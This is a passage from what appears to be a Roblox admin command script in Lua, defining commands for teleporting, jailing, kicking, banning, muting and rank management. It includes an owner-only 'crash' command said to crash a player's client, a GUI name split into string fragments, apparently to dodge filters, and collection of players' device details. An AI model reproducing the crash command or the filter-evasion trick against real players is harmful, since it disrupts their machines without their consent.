  5793.             GUI:SendHint(Player, Arguments[1], nil, Speaker)
  5794.         end
  5795.     end};
  5796.    
  5797.     [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5798.         local Players = STRING:Scan(Arguments[1], Speaker)
  5799.         local Debt = nil
  5800.         for _,Player in pairs(Players) do
  5801.             if not Debt then
  5802.                 Debt = GUI:ShowDebtStats(Player)
  5803.             else
  5804.                 GUI:ShowDebtStats(Player, Debt)
  5805.             end
  5806.         end
  5807.     end, Http = true};
  5808.    
  5809.     [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5810.         local Players = STRING:Scan(Arguments[1], Speaker)
  5811.         for _,Player in pairs(Players) do
  5812.             GUI:CreateHUD(Player)
  5813.         end
  5814.     end};
  5815.    
  5816.     [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5817.         local Players = STRING:Scan(Arguments[1], Speaker)
  5818.         for _,Player in pairs(Players) do
  5819.             if Player:FindFirstChild("PlayerGui") then
  5820.                 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  5821.                 if HUD then HUD:Destroy() end
  5822.             end
  5823.         end
  5824.     end};
  5825.    
  5826.     [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5827.         local Players = STRING:Scan(Arguments[1], Speaker)
  5828.         GUI:Vote(Speaker, Players, Arguments[2], 30)
  5829.     end};
  5830.    
  5831.     [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5832.         local Players = STRING:Scan(Arguments[1], Speaker)
  5833.         for _,Player in pairs(Players) do
  5834.             CORE:ExecuteResource("Bomb", Player.Character)
  5835.         end
  5836.     end};
  5837.    
  5838.     [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5839.         local Players = STRING:Scan(Arguments[1], Speaker)
  5840.         for _,Player in pairs(Players) do
  5841.             CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
  5842.             CORE:RestoreCamera(Player)
  5843.         end
  5844.     end};
  5845.    
  5846.     [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
  5847.         CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
  5848.         CORE:RestoreCamera(Speaker)
  5849.     end};
  5850.    
  5851.     [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  5852.         local Players1 = STRING:Scan(Arguments[1], Speaker)
  5853.         local Players2 = STRING:Scan(Arguments[2], Speaker)
  5854.         for _,Player1 in pairs(Players1) do
  5855.             if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  5856.                 for _,Player2 in pairs(Players2) do
  5857.                     if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  5858.                         Player1.Character:MoveTo(Player2.Character.Torso.Position)
  5859.                     end
  5860.                 end
  5861.             end
  5862.         end
  5863.     end};
  5864.    
  5865.     [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5866.         local Players = STRING:Scan(Arguments[1], Speaker)
  5867.         for _,Player in pairs(Players) do
  5868.             Player:LoadCharacter()
  5869.         end
  5870.     end};
  5871.    
  5872.     [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5873.         local Players = STRING:Scan(Arguments[1], Speaker)
  5874.         for _,Player in pairs(Players) do
  5875.             CORE:RestoreCamera(Player)
  5876.         end
  5877.     end};
  5878.    
  5879.     [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5880.         local Players = STRING:Scan(Arguments[1], Speaker)
  5881.         for _,Player in pairs(Players) do
  5882.             CORE:Jail(Player)
  5883.         end
  5884.     end};
  5885.    
  5886.     [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5887.         local Players = STRING:Scan(Arguments[1], Speaker)
  5888.         for _,Player in pairs(Players) do
  5889.             CORE:UnJail(Player)
  5890.         end
  5891.     end};
  5892.    
  5893.     [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5894.         SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  5895.     end};
  5896.    
  5897.     [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  5898.         SOUND:StopSpeaking()
  5899.     end};
  5900.    
  5901.     [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  5902.         local Players = STRING:Scan(Arguments[1], Speaker)
  5903.         local Compile = {}
  5904.         for Num,Player in pairs(Players) do
  5905.             local PlayerRank = RANK:GetRank(Player)
  5906.             local PlayerInfo = ClientInfo[Player.Name]
  5907.             table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  5908.             table.insert(Compile, "User ID: "..Player.UserId)
  5909.             table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
  5910.             table.insert(Compile, "Rank: "..PlayerRank)
  5911.            
  5912.             if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  5913.             if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  5914.             if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  5915.             if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  5916.             if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  5917.             if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  5918.             if PlayerInfo.Benchmark then
  5919.                 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  5920.             end
  5921.             if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  5922.         end
  5923.         GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  5924.     end};
  5925.    
  5926.     [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5927.         if tonumber(Arguments[2]) then
  5928.             local Players = STRING:Scan(Arguments[1], Speaker)
  5929.             for _,Player in pairs(Players) do
  5930.                 coroutine.wrap(function()
  5931.                     if Player.Character then
  5932.                         table.insert(LoopKills, Player.Name)
  5933.                         local Loop = nil
  5934.                         local PrevChar = nil
  5935.                        
  5936.                         for i = 1,tonumber(Arguments[2]) do
  5937.                             local Char = Player.Character
  5938.                             if PrevChar and PrevChar ~= Char then
  5939.                                 PrevChar:Destroy()
  5940.                             end
  5941.                             PrevChar = Char
  5942.                             local CanDie = true
  5943.                             for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  5944.                             if CanDie == false then
  5945.                                 break
  5946.                             end
  5947.                             ypcall(function() Char.Parent = Server.Lighting end)
  5948.                             wait(0.1)
  5949.                             ypcall(function() Char.Parent = Server.Workspace end)
  5950.                             wait(0.1)
  5951.                         end
  5952.                     end
  5953.                 end)()
  5954.             end
  5955.         else
  5956.             GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  5957.         end
  5958.     end};
  5959.    
  5960.     [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5961.         local Players = STRING:Scan(Arguments[1], Speaker)
  5962.         for _,Player in pairs(Players) do
  5963.             for Num,Name in pairs(LoopKills) do
  5964.                 if Player.Name == Name then
  5965.                     table.remove(LoopKills, Num)
  5966.                 end
  5967.             end
  5968.         end
  5969.     end};
  5970.    
  5971.     [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  5972.         SOUND:PlayGlobalSound(Arguments[1])
  5973.     end};
  5974.    
  5975.     [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  5976.         SOUND:StopGlobalSound()
  5977.         SOUND:ClearInfo()
  5978.     end};
  5979.    
  5980.     [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  5981.         local Pitch = tonumber(Arguments[1])
  5982.         if not Pitch then Pitch = 1 end
  5983.         if Sound then
  5984.             Sound.Pitch = Pitch
  5985.         end
  5986.     end};
  5987.    
  5988.     [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5989.         local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  5990.         local Items = MARKET:SearchItem(9, Arguments[1])
  5991.         if Items then
  5992.             if #Items ~= 0 then
  5993.                 local List,Correlate = {},{}
  5994.                 for Num,Info in pairs(Items) do
  5995.                     local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  5996.                     table.insert(List, Display)
  5997.                     Correlate[Display] = Info.AssetId
  5998.                 end
  5999.                 CloseGui:Invoke()
  6000.                
  6001.                 local CanClick = true
  6002.                 if Rank == "Member" then CanClick = false end
  6003.                 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  6004.                 Clicked.Event:connect(function(ClickName)
  6005.                     local OldSoundId = nil
  6006.                     SOUND:StopGlobalSound()
  6007.                     if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6008.                         SOUND:PlayGlobalSound(Correlate[ClickName])
  6009.                     end
  6010.                 end)
  6011.             else
  6012.                 CloseGui:Invoke()
  6013.                 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  6014.             end
  6015.         else
  6016.             CloseGui:Invoke()
  6017.             GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  6018.         end
  6019.     end, Http = true};
  6020.    
  6021.     [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  6022.         local Players = STRING:Scan(Arguments[1], Speaker)
  6023.         for _,Player in pairs(Players) do
  6024.             if Player.Character then
  6025.                 CORE:ExecuteResource("Gun", Player.Character)
  6026.             end
  6027.         end
  6028.     end};
  6029.    
  6030.     [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6031.         local Players = STRING:Scan(Arguments[1], Speaker)
  6032.         for _,Player in pairs(Players) do
  6033.             if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  6034.                 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true  Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  6035.                 Player.Character.Humanoid.WalkSpeed = 0
  6036.                 Player.Character.Torso.Anchored = true
  6037.                 coroutine.wrap(function()
  6038.                     local OldCFrame = Player.Character.Torso.CFrame
  6039.                     for i = 0,8,0.1 do
  6040.                         Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  6041.                         wait()
  6042.                     end
  6043.                     Player.Character.Torso.Anchored = false
  6044.                     Player.Character:BreakJoints()
  6045.                     CORE:InvisiblePlayer(Player)
  6046.                 end)()
  6047.             end
  6048.         end
  6049.     end};
  6050.    
  6051.     [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  6052.         local Players = STRING:Scan(Arguments[1], Speaker)
  6053.         for _,Player in pairs(Players) do
  6054.             CORE:AnchorPlayer(Player)
  6055.         end
  6056.     end};
  6057.    
  6058.     [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6059.         local Players = STRING:Scan(Arguments[1], Speaker)
  6060.         for _,Player in pairs(Players) do
  6061.             CORE:UnanchorPlayer(Player)
  6062.         end
  6063.     end};
  6064.    
  6065.     [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6066.         local Players = STRING:Scan(Arguments[1], Speaker)
  6067.         for _,Player in pairs(Players) do
  6068.             CORE:InvisiblePlayer(Player)
  6069.         end
  6070.     end};
  6071.    
  6072.     [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6073.         local Players = STRING:Scan(Arguments[1], Speaker)
  6074.         for _,Player in pairs(Players) do
  6075.             CORE:VisiblePlayer(Player)
  6076.         end
  6077.     end};
  6078.    
  6079.     [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6080.         local Players = STRING:Scan(Arguments[1], Speaker)
  6081.         for _,Player in pairs(Players) do
  6082.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  6083.                 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  6084.                 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  6085.                 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  6086.                 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  6087.                 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  6088.                 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  6089.                 Fly:Play()
  6090.                 local Touched = false
  6091.                 coroutine.wrap(function()
  6092.                     repeat wait(0.1)
  6093.                         Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  6094.                     until not Ast or Ast.Parent == nil or Touched == true
  6095.                 end)()
  6096.                 Ast.Touched:connect(function(Part)
  6097.                     if Touched == false then
  6098.                         Touched = true
  6099.                         Part:BreakJoints()
  6100.                         local Boom = Instance.new("Explosion", Workspace)
  6101.                         Boom.Position = Ast.Position
  6102.                         Boom.BlastPressure = 1000000
  6103.                         Boom.BlastRadius = 30
  6104.                         Fire.Heat = 0
  6105.                         Smoke.RiseVelocity = 0
  6106.                         Fly:Stop()
  6107.                         BoomSound:Play()
  6108.                         coroutine.wrap(function()
  6109.                             wait(3)
  6110.                             BoomSound:Stop()
  6111.                             if Ast and Ast.Parent ~= nil then
  6112.                                 Ast:Destroy()
  6113.                             end
  6114.                         end)()
  6115.                     end
  6116.                 end)
  6117.             end
  6118.         end
  6119.     end};
  6120.    
  6121.     [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6122.         local Success = {}
  6123.         local Players = STRING:Scan(Arguments[1], Speaker)
  6124.         for _,Player in pairs(Players) do
  6125.             local PlayerRank = RANK:GetRank(Player)
  6126.             if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6127.                 CORE:Kick(Player)
  6128.                 table.insert(Success, Player)
  6129.             end
  6130.         end
  6131.         REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
  6132.     end};
  6133.    
  6134.     [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6135.         local Success = {}
  6136.         local Players = STRING:Scan(Arguments[1], Speaker)
  6137.         for _,Player in pairs(Players) do
  6138.             local PlayerRank = RANK:GetRank(Player)
  6139.             if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6140.                 RANK:RemoveRank(Player)
  6141.                 table.insert(Settings.Ranks.Banned, Player.Name)
  6142.                 CORE:Kick(Player)
  6143.                 table.insert(Success, Player)
  6144.             end
  6145.         end
  6146.         REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
  6147.     end};
  6148.    
  6149.     [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6150.         local Success = {}
  6151.         local Players = STRING:Scan(Arguments[1], Speaker)
  6152.         for _,Player in pairs(Players) do
  6153.             local PlayerRank = RANK:GetRank(Player)
  6154.             if PlayerRank ~= "Owner" then
  6155.                 RANK:RemoveRank(Player)
  6156.                 table.insert(Settings.Ranks.Crashed, Player.Name)
  6157.                 CORE:Crash(Player)
  6158.                 table.insert(Success, Player)
  6159.             end
  6160.         end
  6161.         REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
  6162.     end};
  6163.    
  6164.     [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6165.         local Success = {}
  6166.         local Players = STRING:Scan(Arguments[1], Speaker)
  6167.         for _,Player in pairs(Players) do
  6168.             local PlayerRank = RANK:GetRank(Player)
  6169.             if PlayerRank ~= "Owner" then
  6170.                 RANK:RemoveRank(Player)
  6171.                 table.insert(Settings.Ranks.Muted, Player.Name)
  6172.                 GUI:CoreGui(Player, "Chat", false)
  6173.                 table.insert(Success, Player)
  6174.             end
  6175.         end
  6176.         REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
  6177.     end};
  6178.    
  6179.     [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6180.         local Players = STRING:Scan(Arguments[1], Speaker)
  6181.         if #Players > 0 then
  6182.             local Success = {}
  6183.             for _,Player in pairs(Players) do
  6184.                 local RankName,RankNum = RANK:GetRank(Player)
  6185.                 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  6186.                     if not RANK:IsSupremeOwner(Player) then
  6187.                         if RankName == "Muted" then
  6188.                             GUI:CoreGui(Player, "Chat", true)
  6189.                         end
  6190.                         if RankNum > 0 then
  6191.                             GUI:TellNotAdmin(Player)
  6192.                         end
  6193.                         RANK:RemoveRank(Player)
  6194.                         table.insert(Success, Player)
  6195.                     end
  6196.                 end
  6197.             end
  6198.             REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
  6199.         else
  6200.             local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6201.             if Player then
  6202.                 local RankNum = RANK:ConvertRank(PlayerRank)
  6203.                 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6204.                     if not RANK:IsSupremeOwner(Player) then
  6205.                         RANK:RemoveRank(Player)
  6206.                         REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
  6207.                     end
  6208.                 end
  6209.             end
  6210.         end
  6211.     end};
  6212.    
  6213.     [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6214.         local Players = STRING:Scan(Arguments[1], Speaker)
  6215.         if #Players > 0 then
  6216.             local Success = {}
  6217.             for _,Player in pairs(Players) do
  6218.                 local PlayerRank,RankNum = RANK:GetRank(Player)
  6219.                 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6220.                     RANK:RemoveRank(Player)
  6221.                     table.insert(Settings.Ranks.Member, Player.Name)
  6222.                     GUI:TellAdmin(Player)
  6223.                     table.insert(Success, Player)
  6224.                 end
  6225.             end
  6226.             REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6227.         else
  6228.             local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6229.             if Player then
  6230.                 local RankNum = RANK:ConvertRank(PlayerRank)
  6231.                 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6232.                     if not RANK:IsSupremeOwner(Player) then
  6233.                         RANK:RemoveRank(Player)
  6234.                         table.insert(Settings.Ranks.Member, Player)
  6235.                     end
  6236.                 end
  6237.             else
  6238.                 RANK:RemoveRank(Arguments[1])
  6239.                 table.insert(Settings.Ranks.Member, Arguments[1])
  6240.             end
  6241.         end
  6242.     end};
  6243.    
  6244.     [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6245.         local Players = STRING:Scan(Arguments[1], Speaker)
  6246.         if #Players > 0 then
  6247.             local Success = {}
  6248.             for _,Player in pairs(Players) do
  6249.                 local PlayerRank,RankNum = RANK:GetRank(Player)
  6250.                 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6251.                     RANK:RemoveRank(Player)
  6252.                     table.insert(Settings.Ranks.Admin, Player.Name)
  6253.                     GUI:TellAdmin(Player)
  6254.                     table.insert(Success, Player)
  6255.                 end
  6256.             end
  6257.             REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
  6258.         else
  6259.             local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6260.             if Player then
  6261.                 local RankNum = RANK:ConvertRank(PlayerRank)
  6262.                 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6263.                     if not RANK:IsSupremeOwner(Player) then
  6264.                         RANK:RemoveRank(Player)
  6265.                         table.insert(Settings.Ranks.Admin, Player)
  6266.                     end
  6267.                 end
  6268.             else
  6269.                 RANK:RemoveRank(Arguments[1])
  6270.                 table.insert(Settings.Ranks.Admin, Arguments[1])
  6271.             end
  6272.         end
  6273.     end};
  6274.    
  6275.     [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6276.         local Players = STRING:Scan(Arguments[1], Speaker)
  6277.         if RANK:IsSupremeOwner(Speaker) then
  6278.             if #Players > 0 then
  6279.                 local Success = {}
  6280.                 for _,Player in pairs(Players) do
  6281.                     if not RANK:IsSupremeOwner(Player) then
  6282.                         RANK:RemoveRank(Player)
  6283.                         table.insert(Settings.Ranks.Owner, Player.Name)
  6284.                         GUI:TellAdmin(Player)
  6285.                         table.insert(Success, Player)
  6286.                     end
  6287.                 end
  6288.                 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6289.             else
  6290.                 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6291.                 if Player then
  6292.                     local RankNum = RANK:ConvertRank(PlayerRank)
  6293.                     if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6294.                         if not RANK:IsSupremeOwner(Player) then
  6295.                             RANK:RemoveRank(Player)
  6296.                             table.insert(Settings.Ranks.Owner, Player)
  6297.                         end
  6298.                     end
  6299.                 else
  6300.                     RANK:RemoveRank(Arguments[1])
  6301.                     table.insert(Settings.Ranks.Owner, Arguments[1])
  6302.                 end
  6303.             end
  6304.         end
  6305.     end};
  6306.    
  6307.     [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6308.         local TableStorage = {}
  6309.         for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  6310.         for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  6311.         for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  6312.         GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  6313.     end};
  6314.    
  6315.     [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  6316.         local TableStorage = {}
  6317.         for _,Player in pairs(Server.Players:GetChildren()) do
  6318.             local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  6319.             if ValidAdmin then
  6320.                 if PlayerRank == "Owner" then
  6321.                     table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  6322.                 else
  6323.                     table.insert(TableStorage, Player.Name..": "..PlayerRank)
  6324.                 end
  6325.             end
  6326.         end
  6327.         GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  6328.     end};
  6329.    
  6330.     [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  6331.         GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  6332.     end};
  6333.    
  6334.     [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  6335.         GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  6336.     end};
  6337.    
  6338.     [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  6339.         GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  6340.     end};
  6341.    
  6342.     [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6343.         local TableStorage = {}
  6344.         for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  6345.         for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  6346.         for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  6347.         GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  6348.     end};
  6349.    
  6350.     [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6351.         local TableStorage = {}
  6352.         for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  6353.             for Num,PlayerName in pairs(PlayerNames) do
  6354.                 if PlayerRank == "Owner" then
  6355.                     table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  6356.                 else
  6357.                     table.insert(TableStorage, PlayerName..": "..PlayerRank)
  6358.                 end
  6359.             end
  6360.         end
  6361.         GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
  6362.     end};
  6363.    
  6364.     [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6365.         GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  6366.     end};
  6367.    
  6368.     [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6369.         GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  6370.     end};
  6371.    
  6372.     [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6373.         GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  6374.     end};
  6375.    
  6376.     [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6377.         local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  6378.         if type(ExploitLog) ~= "table" then ExploitLog = {} end
  6379.         GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  6380.     end};
  6381.    
  6382.     [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6383.         CommandLogs = {}
  6384.     end};
  6385.    
  6386.     [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6387.         ChatLogs = {}
  6388.     end};
  6389.    
  6390.     [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6391.         IRC.Logs = {}
  6392.     end};
  6393.    
